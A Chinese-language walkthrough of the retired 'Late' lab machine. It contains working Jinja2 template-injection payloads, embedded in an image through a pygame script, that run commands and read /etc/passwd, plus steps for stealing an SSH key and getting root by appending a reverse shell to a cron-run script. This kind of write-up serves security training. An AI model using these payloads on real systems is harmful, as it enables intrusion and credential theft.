Late Writeup

概述 (Overview)

550

HOST: 10.10.11.156

OS: LINUX

发布时间: 2022-04-24

完成时间: 2022-06-16

机器作者: kavigihan

困难程度: EASY

机器状态: 退休

MACHINE TAGS: #Flask #SSTI #CommandInjection

攻击链 (Kiillchain)

使用 Nmap 扫描目标服务器开放端口,利用 Web 服务 Flask 框架的 SSIT 漏洞读取用户私钥,通过 SSH 登录拿到立足点。传递 linpeas 脚本至目标服务器运行深度枚举,发现 root 计划任务执行脚本。最终通过向脚本中追加反弹 shell 代码段,完成权限提升。

枚举(Enumeration)

开始还是采用 Nmap 软件对目标服务器的开放端口进行扫描:

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 02:5e:29:0e:a3:af:4e:72:9d:a4:fe:0d:cb:5d:83:07 (RSA) | 256 41:e1:fe:03:a5:c7:97:c4:d5:16:77:f3:41:0c:e9:fb (ECDSA) |_ 256 28:39:46:98:17:1e:46:1a:1e:a1:ab:3b:9a:57:70:48 (ED25519) 80/tcp open http nginx 1.14.0 (Ubuntu) |_http-favicon: Unknown favicon MD5: 1575FDF0E164C3DB0739CF05D9315BDF |_http-title: Late - Best online image tools | http-methods: |_ Supported Methods: GET HEAD |_http-server-header: nginx/1.14.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

仅开放了两个端口,看样子又是要从 Web 服务中进行打点了。

600

立足点(Foothold)

查看页面源代码可以看到叫 images.late.htb 的域名:

600

echo "10.10.11.156 images.late.htb late.htb" >> /etc/hosts

加入 hosts 后进行访问,是一个 Flask 框架运行的 Web 服务,用于提取图片中的文字内容。

550

通过一张空白的图片能够得到文件的绝对路径:

Error occured while processing the image: cannot identify image file '/home/svc_acc/app/uploads/reverse.png5026'

目前已经知道解析图片的 Web 服务是 Flask 框架,结合以往经验,能够 RCE 的情况只有命令注入了。而 Flask 的 RCE 一般是 SSIT 这类的,所以简单构造了一个文字是 {{7*7}} 的图片进行验证。

600

从返回结果中可以看到,已经成功将 7*7 的结果进行了输出,说明漏洞存在。为了方便自定义图片,简单使用 python 生成自定义的文字图片:

# -*- coding: utf-8 -*- import os import pygame pygame.init() text = u'''{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}''' font = pygame.font.Font('JetBrainsMono-Bold.ttf', 24) rtext = font.render(text, True, (0, 0, 0), (255, 255, 255)) pygame.image.save(rtext, "test.png")

800

将使用 Python 内置函数的代码段生成的图片进行上传,从结果中可以看到成功执行了 id 命令。

服务器SSIT模板注入 - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md

接着读取 /etc/passwd 文件代码段:

{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}

成功在 svc_acc 用户下找到 SSH 登录私钥:

600

使用该私钥登录成功拿到立足点。

600

权限提升(Privilege Escalation)

linpeas 脚本传递至目标服务器并运行脚本进行深度分析,发现一个 ssh-alert.sh 的脚本文件。

600

root@late:/root# cat scripts/ssh-alert.sh #!/bin/bash RECIPIENT="root@late.htb" SUBJECT="Email from Server Login: SSH Alert" BODY=" A SSH login was detected. User: $PAM_USER User IP Host: $PAM_RHOST Service: $PAM_SERVICE TTY: $PAM_TTY Date: `date` Server: `uname -a` " if [ ${PAM_TYPE} = "open_session" ]; then echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT} fi

同时使用 pspy 软件,监听服务器上的定时任务信息,发现 root 账号会去执行该脚本。

800

看下权限,发现 svc_acc 用户具备编辑权限,但是直接编辑后会提示无权限保存。

svc_acc@late:/dev/shm$ ls -lsh /usr/local/sbin/ssh-alert.sh 4.0K -rwxr-xr-x 1 svc_acc svc_acc 433 Jun 16 05:01 /usr/local/sbin/ssh-alert.sh

在 Linux 中其实还有个第二扩展文件系统属性,一般使用 chattr 命令进行赋值,可以使用 lsattr 命令进行查看。

svc_acc@late:/dev/shm$ lsattr /usr/local/sbin/ssh-alert.sh -----a--------e--- /usr/local/sbin/ssh-alert.sh
  • a:让文件或目录仅供附加用途(默认是没有的)
  • e:文件正在使用扩展数据块映射磁盘上的块(默认就是 e 参数)

可以看到仅可以对文件内容进行追加,直接将反弹 shell 利用 >> 命令追加进行就好了。

600

等待 root 定时任务执行,成功完成权限提升。

600

环境维持

root@late:/root# cat scripts/cron.sh #!/bin/bash # Adding alert file chattr -a /usr/local/sbin/ssh-alert.sh rm /usr/local/sbin/ssh-alert.sh cp /root/scripts/ssh-alert.sh /usr/local/sbin/ssh-alert.sh chmod +x /usr/local/sbin/ssh-alert.sh chown svc_acc:svc_acc /usr/local/sbin/ssh-alert.sh rm -r /home/svc_acc/app/uploads/* 2>/dev/null rm -r /home/svc_acc/app/misc/* 2>/dev/null chattr +a /usr/local/sbin/ssh-alert.sh

参考


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。